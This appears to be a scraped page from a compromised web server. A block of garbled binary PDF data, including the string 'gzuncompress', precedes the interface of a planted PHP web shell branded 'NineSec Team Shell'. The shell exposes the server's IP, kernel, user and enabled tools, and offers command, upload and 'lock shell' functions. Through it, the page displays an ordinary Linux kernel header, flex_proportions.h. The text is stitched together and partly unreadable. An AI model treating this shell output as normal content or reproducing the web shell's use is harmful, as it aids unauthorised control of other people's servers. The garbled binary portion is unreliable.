%PDF-1.3 %âãÏÓ 1 0 obj<> endobj 2 0 obj<> endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream xœ¥\mo7þ ÿa?îâñH£ÑÌàŠyi{¹$EÚ(i?¬cÇÞÄkûürAþý‰½Žv·EÛízF¢HI|H‘Ô?¿{Ø|Z|X|÷Ýñó‡‡õÇËó³Å‡ã77Û?O¾Ýž¿__l®×››ëãßOàя77çwß¿xñêåâÅÉÓ'Ç?ªÅ°8ùôôI] µûgQ»ÔB©¦2zaà³]œlÝûÅ|üôôɇåÛ՟‹“?}òƒ£ " L* & J * j .  N (8HXhx )9IYiy *:JZjz +;K[k{ , C> r. ^ ~ N @ qO!  ` ( S A  a=  ! wQ It Ba @l q T  f !U* A 9%n o M - 5J  w@O|l:Bg y= B=jq K - jM 4EP N q f ^ u> $k ( H l EW o W  %l d] 6 ] - L  > 9 t* y 4 b 5 Q\ \ v U  2c 3  c qM = |  IT: S |{; ^| e]/ n3g _ > t! y {  Zm \{o]'S ~ VN a w - u x* " 3 }$jH q w bx B" < 5b }% + 09_h>G u7$ y MJ$ Y&X z (r ` [N _pny!lu o x `N d z Oy O.* r  _s iQ  BRx .) _6jV ] # W RVy k~ cI Y H  dsR  rZ+ )f d v* ' i G j * cB zi  _  j z[ 7; 2 -  zZ  f V z9 JR n  72 81 [e n &ci ( r  U q _+q rV 3  " > ;1 0x >{ |` r h W q f 3 l ]u b-5 Fwm z zp)M ) jO q u q  E K l 7  [[ y Xg e ~ , 9  k; +ny  )s=9) u_l " Z ; x =. M= +? ^  q $ .[ i [ Fj y Ux { >_ xH  > ; 8 < w/l hy  9o <: 'f4 |   w e  G G * !# b` B,  $*q Ll   (Jq T r ,jq \   0 q d,  4 q ll   8 q t  < q |   @ r , ! D*r l # HJr %/ Ljr '? P r , ) Q; gzuncompress NineSec Team Shell
NineSec Team Shell
Server IP : 10.0.3.46  /  Your IP : 172.69.17.44
Web Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.2.34
System : Linux ukmjuara 3.10.0-1160.95.1.el7.x86_64 #1 SMP Mon Jul 24 13:59:37 UTC 2023 x86_64
User : apache ( 48)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : ON
Directory (0755) :  /usr/src/kernels/3.10.0-957.5.1.el7.x86_64/include/linux/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : //usr/src/kernels/3.10.0-957.5.1.el7.x86_64/include/linux/flex_proportions.h
/*
 * Floating proportions with flexible aging period
 *
 *  Copyright (C) 2011, SUSE, Jan Kara <jack@suse.cz>
 */

#ifndef _LINUX_FLEX_PROPORTIONS_H
#define _LINUX_FLEX_PROPORTIONS_H

#include <linux/percpu_counter.h>
#include <linux/spinlock.h>
#include <linux/seqlock.h>

/*
 * When maximum proportion of some event type is specified, this is the
 * precision with which we allow limitting. Note that this creates an upper
 * bound on the number of events per period like
 *   ULLONG_MAX >> FPROP_FRAC_SHIFT.
 */
#define FPROP_FRAC_SHIFT 10
#define FPROP_FRAC_BASE (1UL << FPROP_FRAC_SHIFT)

/*
 * ---- Global proportion definitions ----
 */
struct fprop_global {
	/* Number of events in the current period */
	struct percpu_counter events;
	/* Current period */
	unsigned int period;
	/* Synchronization with period transitions */
	seqcount_t sequence;
};

int fprop_global_init(struct fprop_global *p);
void fprop_global_destroy(struct fprop_global *p);
bool fprop_new_period(struct fprop_global *p, int periods);

/*
 *  ---- SINGLE ----
 */
struct fprop_local_single {
	/* the local events counter */
	unsigned long events;
	/* Period in which we last updated events */
	unsigned int period;
	raw_spinlock_t lock;	/* Protect period and numerator */
};

#define INIT_FPROP_LOCAL_SINGLE(name)			\
{	.lock = __RAW_SPIN_LOCK_UNLOCKED(name.lock),	\
}

int fprop_local_init_single(struct fprop_local_single *pl);
void fprop_local_destroy_single(struct fprop_local_single *pl);
void __fprop_inc_single(struct fprop_global *p, struct fprop_local_single *pl);
void fprop_fraction_single(struct fprop_global *p,
	struct fprop_local_single *pl, unsigned long *numerator,
	unsigned long *denominator);

static inline
void fprop_inc_single(struct fprop_global *p, struct fprop_local_single *pl)
{
	unsigned long flags;

	local_irq_save(flags);
	__fprop_inc_single(p, pl);
	local_irq_restore(flags);
}

/*
 * ---- PERCPU ----
 */
struct fprop_local_percpu {
	/* the local events counter */
	struct percpu_counter events;
	/* Period in which we last updated events */
	unsigned int period;
	raw_spinlock_t lock;	/* Protect period and numerator */
};

int fprop_local_init_percpu(struct fprop_local_percpu *pl);
void fprop_local_destroy_percpu(struct fprop_local_percpu *pl);
void __fprop_inc_percpu(struct fprop_global *p, struct fprop_local_percpu *pl);
void __fprop_inc_percpu_max(struct fprop_global *p, struct fprop_local_percpu *pl,
			    int max_frac);
void fprop_fraction_percpu(struct fprop_global *p,
	struct fprop_local_percpu *pl, unsigned long *numerator,
	unsigned long *denominator);

static inline
void fprop_inc_percpu(struct fprop_global *p, struct fprop_local_percpu *pl)
{
	unsigned long flags;

	local_irq_save(flags);
	__fprop_inc_percpu(p, pl);
	local_irq_restore(flags);
}

#endif

NineSec Team - 2022